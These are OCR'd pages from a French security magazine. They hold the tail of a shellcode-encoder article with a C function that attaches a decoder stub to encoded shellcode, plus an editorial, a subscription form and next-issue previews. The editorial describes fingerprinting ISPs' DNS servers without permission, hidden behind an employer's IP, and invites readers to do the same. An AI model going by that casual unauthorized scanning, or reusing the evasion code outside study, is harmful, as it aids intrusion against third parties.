Listing 10. L'une des fonctions liant le décodeur au code encodé
char *add_sub_decoder(char *ecode, int offset) {
char *pcode = NULL;
int ecode_len = strlen(ecode);
int decode_sub_len;
decode_sub[6] = ecode_len;
decode_sub[11] = offset;
decode_sub_len = strlen(decode_sub);
pcode = (char *) malloc(decode_sub_len + ecode_len);
memcpy(pcode, decode_sub, decode_sub_len);
memcpy(pcode + decode_sub_len, ecode, ecode_len);
return pcode;
}
Figure 9. Compiler le programme encodee et créer un shellcode exemplaire
Figure 10. Tester le shellcode généré
Sur Internet
• http://www.orkspace.net/software/libShellCode/index.php – page d'accueil du projet
libShellCode,
• http://www.ktwo.ca/security.html – page d'accueil de l'auteur d'ADMmutate,
• http://www.phiral.com/ – page d'accueil de l'auteur du programme dissembler.
À propos de l'auteur
Michał Piotrowski est maître en infor-
matique et administrateur expérimenté
des réseaux et systèmes. Durant
plus de trois ans, il a travaillé en tant
qu'inspecteur de sécurité dans un éta-
blissement responsable du bureau de
certifcation supérieur dans l'infrastruc-
ture polonaise PKI. Actuellement, il est
un expert en sécurité téléinformatique
dans l'une des plus grandes institutions
fnancières en Pologne. Il passe son
temps libre à programmer. Il s'occupe
également de la cryptographie.
www.shop.software.com.pl/fr
Abonnez-vous à vos magazines préférés
et commandez des anciens numéros !
Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.
Nous vous garantissons :
• des tarifs préférentiels,
• un paiement en ligne sécurisé,
• la prise en compte rapide de votre commande.
Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier :
Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tél. 0048 22 887 13 44 ;
E-mail : abonnement@software.com.pl
Prénom Nom ............................................................................................... Entreprise ...................................................................................................
Adresse .................................................................................................................................................................................................................................
Code postal ................................................................................................ Ville ..............................................................................................................
Téléphone ................................................................................................... Fax ...............................................................................................................
Je souhaite recevoir l'abonnement à partir du numéro .....................................................................................................................................................
E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................
o Prolongement automatique d’abonnement
bulletin d’abonnement
Titre
Nombre de
numéros
annuels
Nombre
d’abonne-
ments
À partir du
numéro
Prix
hakin9 – comment se défendre ? (1 CD)
Bimestriel destiné aux personnes qui s’intéressent la sécurité des
systmes informatiques
6 38 €
Software Developer’s Journal Extra (1 CD ou DVD)
– anciennement Software 2.0 Extra
Bimestriel sur la programmation
6 38 €
Linux+DVD (2 DVDs)
Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs
12 86 €
Collection Linux+ Distributions (4-7 CDs ou 2 DVDs)
Distributions Linux les plus populaires
6 50 €
PHP Solutions (1 CD)
Le plus grand magazine sur PHP au monde
6 38 €
Programmation sous Linux (1 CD)
Bimestriel dédié à la programmation sous Linux
6 38 €
.PSD (2 CDs)
Bimestriel pour les utilisateurs d’Adobe Photoshop
6 39 €
Je règle par :
¨ Carte bancaire n° CB expire le date et signature obligatoires
type de carte .......................................................................... code CVC/CVV
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
Total
hakin9 Nº 6/2005 www.hakin9.org 80
Éditorial
A
h, le confort des e-banques. Il y a quelques
jours, mon bailleur m'a apporté quelques fac-
tures à payer. Oh, non, j'ai pensé, pas encore
un déplacement à ma banque, pas encore une heure
passée dans la fle d'attente pour payer cette satanée
facture. Mais ensuite, je me suis souvenu que ma
banque (je ne précise pas le nom pour des raisons
de sécurité !) vient d'ouvrir un accès aux comptes tra-
ditionnels via Internet. Et je me suis rappelé m'y être
inscrit. Hourra ! Il a sufft quelques minutes pour payer
mes factures. Mais ensuite, je me suis rappelé une
autre chose : le phishing, le pharming. Et je me suis
tout de suite senti mal à l'aise.
L'article sur l'empoisonnement du DNS paru dans le
dernier numéro de hakin9 m'a vraiment inspiré. Le lende-
main, caché en toute sécurité derrière l'adresse IP de la
société (si jamais quelque chose va mal, je peux toujours
dire que je testais un tutoriel ou un truc dans ce genre),
j'ai déployé mon navigateur, j'ai chargé Google et com-
mencé à me balader ici et là, à la recherche d'un outil de
récupération de données sur DNS. J'ai réellement voulu
m'assurer que les plus grands serveurs cache DNS sont
sécurisés et j'espérais que leurs administrateurs savaient
que BIND n'était pas bien et que je trouverais de nom-
breuses installations de djbdns. Ils doivent être au moins
aussi prudents que moi, me suis-je dit. J'ai remplacé
BIND par djbdns il y a deux ans déjà ; ils ont certainement
dû le faire aussi.
Enfn, je suis tombé sur fpdns.pl, un petit script perl
qui semble reconnaître assez bien le logiciel DNS uti-
lisé, en se basant sur son empreinte. Dans un premier
temps, j'ai donc visé les plus grands fournisseurs polo-
nais de caches DNS (je peux donc affrmer que plus
de la moitié des utilisateurs d'Internet en Pologne se
servent de ces deux caches). Boum ! BIND9. Ce n'est
pas mal mais ce n'est pas très bien non plus. Ensuite,
j'ai ciblé les caches DNS d'autres grands fournisseurs.
J'ai mis cinq minutes pour trouver une installation
BIND8 sur le plus grand réseau câblé de Varsovie.
Ouh ! J'espère que leurs utilisateurs ne se servent pas
de ce cache DNS. Qui le risquerait en sachant que le
cache peut être empoisonné en environ trois cents
paquets envoyés ?
Faites attention à votre
argent
Au bout d'une demi heure, j'ai commencé à m'en-
nuyer mais les résultats étaient intéressants. Les plus
grands caches DNS se servent de BIND9 mais seu-
lement certains d'entre eux disposaient des versions
les plus récentes. J'ai trouvé deux installations BIND8
utilisées en caches DNS de fournisseurs Internet très
connus. Un seul fournisseur employait PowerDNS
et une seconde tentative pour récupérer l'empreinte
a été manifestement bloquée par un IDS (très bon
boulot, les administrateurs !). Je n'ai trouvé aucune
installation djbdns. Enfn, si on ne prend pas en compte
mes propres serveurs, bien évidemment. Mais... C'est
comme si on disait coucou, les pharmers ! Nous
sommes ici ! Prenez-nous avec vous ! Chers lecteurs,
pourquoi ne pas essayer vous-mêmes et partager des
résultats intéressants avec nous ?
Ensuite, on m'a raconté une autre histoire qui a fait
bouillir mes neurones. Un de mes collègues, dont le
passe-temps favori consiste à prendre le bus avec son
ancien ordinateur portable (équipé, bien évidemment
d'une carte WiFi) m'a fait partager certains de ses
trouvailles concernant wardriving (ou plutôt warbu-
sing vu qu'il prend le bus ?). Il est passé par hasard
(oui, par hasard) près d'une agence de la deuxième
plus grande banque polonaise et – surprise, surprise
– Kismet a détecté un réseau sans fil. Crypté ? Vous
rigolez ! Et devinez quel était le type de SSID ? link-
sys, bien évidemment. Ouh. Pourquoi alors se préoc-
cuper de multiples niveaux de protections dans les
e-banques si un administrateur d'une agence locale,
qui n'a même pas changé le SSID par défaut, laisse le
réseau interne d'une banque largement ouvert à tout
passant ?
Le point d'ébullition de mes neurones a été atteint.
J'ai donc réussi à arriver à certaines conclusions. La con-
clusion la plus logique est de récupérer le plus rapide-
ment possible tout mon argent de la banque et le cacher
sous un coussin. Il semble qu'il y sera plus en sécurité
que dans n'importe quelle autre institution ayant des liens
avec des ordinateurs.
Et je me sentais tellement bien le jour précédent... l
Tomasz Nidecki
http://www.virtuelnet.net
Construit sur des serveurs FreeBSD et Linux
Informations sur UNIX, Linux, Windows, les ré-
seaux – Hébergement libre sur serveurs libres.
Actualités, astuces, optimisation, personnalisa-
tion windows, sécurité, visuels et télécharge-
ment de logiciels, jeux et captures.
http://www.smtechnologie.com
http://www.cccure.net
http://www.vulnerabilite.com
Vulnerabilite.com est le portail francophone
dédié a la sécurité des systemes d’information
pour les DSI, RSSI et décideurs informatique.
VirusTraQ.com est un observatoire francopho-
ne sur les virus informatiques, le spam et les
applications indésirables (spyware/adware).
http://www.virustraq.com
Le Portail Québécois de la Sécurité Des Sys-
temes. Site de nouvelles, forums, télécharge-
ments, liens sécurité, et conseils.
http://www.puissance-pc.net
Toute l’actualité informatique, les dernieres
adresses, et beaucoup d’autres fonctionnali-
tés, tout ceci géré par une équipe dynamique.
http://www.hackisknowledge.org
HackIsKnowledge est un site d’entreaide à la
sécurité informatique. Le webmaster vous pro-
pose audits gratuits, forum, download.
SecuriteInfo.com, un des sites web leaders de
la sécurité informatique francophone, propose
ses services aux professionnels depuis 2004.
http://www.securiteinfo.com
Wulab spécialise dans la sécurité des appli-
cations web par l’etude des techniques d’atta-
ques et en créant des moyens de défense.
http://www.wulab.com
Corporate Hackers fournit services et solutions
dans le domaine de la sécurité des nouvelles
technologies.
http://corporatehackers.com
http://www.ze-linux.org
Crée par Terence DEWAELE, Ze-Linux a pour
but d’aider la communauté française a utiliser
GNU/Linux: Forums, Liste, News.
S
it
e
s
re
c
o
m
m
a
n
d
é
s
>
>
>
Sites recommandés
Abc de la sécurité informatique : Portail dédié a
la protection utilisateurs, la prévention et l’ano-
nymat sur micro et réseaux.
http://abcdelasecurite.free.fr
Voulez-vous recommander votre site ? Contactez-nous : fr@hakin9.org
Pour voir les informations actuelles sur le prochain numéro,
visitez la page http://www.hakin9.org/fr
Ce numéro sera disponible en vente début janvier 2006.
La rédaction se réserve le droit de modifer le contenu de la revue.
hakin9 1/2006
Dans le numéro suivant, vous
trouverez, entre autres :
Prochainement
Sécurité des WPA/WPA2
Les réseaux sans fl sont plus faciles à sniffer et à pénétrer que les réseaux
classiques. C’est pourquoi, des moyens spécifques sont nécessaires pour
tenir les intrus à l’écart. Guillaume Lehembre parle des standards WPA et
WPA2 pour la protection des réseaux Wi-Fi, des attaques et faiblesses
potentielles, en décrivant, comment celles-ci peuvent être effectuées.
Rootkits dans Oracle
Bien que cela puisse paraître étonnant, les rootkits sont capables de fonc-
tionner non seulement dans les systèmes d’exploitation, mais aussi dans les
systèmes de base de données. Ils dissimulent les utilisateurs, les processus
ou les procédures. L’article d’Alexander Kornbrust montre comment fonction-
nent les rootkits dans le système de base de données Oracle, comment les
détecter et comment écrire les applications de base de données pour empê-
cher l’installation des rootkits par un intrus.
Implanter la norme ISO/CEI 17799:2005 en
entreprise
Une révision majeure de la norme internationale ISO/CEI 17799:2005
a vu le jour en juin 2005. Ce code de bonne pratique pour la gestion de la
sécurité de l’information donne de grandes orientations réparties sur onze
chapitres. C’est a vous de défnir comment l’implanter. Christophe Reverd
en décode les aspects essentiels pour vous aider à la mettre en pratique
en entreprise.
Sécurité du serveur Windows 2003
Avec l’apparition de Windows 2003, beaucoup de réseaux d’entreprises sont
passés à une nouvelle génération de serveur Microsoft. Mais Windows 2003
est-il vraiment sûr ou bien traîne-il les mêmes faiblesses que ses prédéces-
seurs ? Rudra Kamal Sinha Roy présente quels sont les principaux problè-
mes avec Windows 2003 et que peuvent faire les administrateurs pour rendre
leurs serveurs plus sûrs.
Détourner un frewall
Le pare-feu est la première ligne de défense protégeant tout le réseau contre
les attaques malicieuses. Pourtant, un pare-feu a aussi ses points faibles et
peut être détourné. Oliver Karow enseigne comment les pare-feux peuvent
être détectés et montre quels problèmes dans leur confguration facilitent ce
détournement.
Dossier
Focus
Pratique
Fiche technique
Fiche technique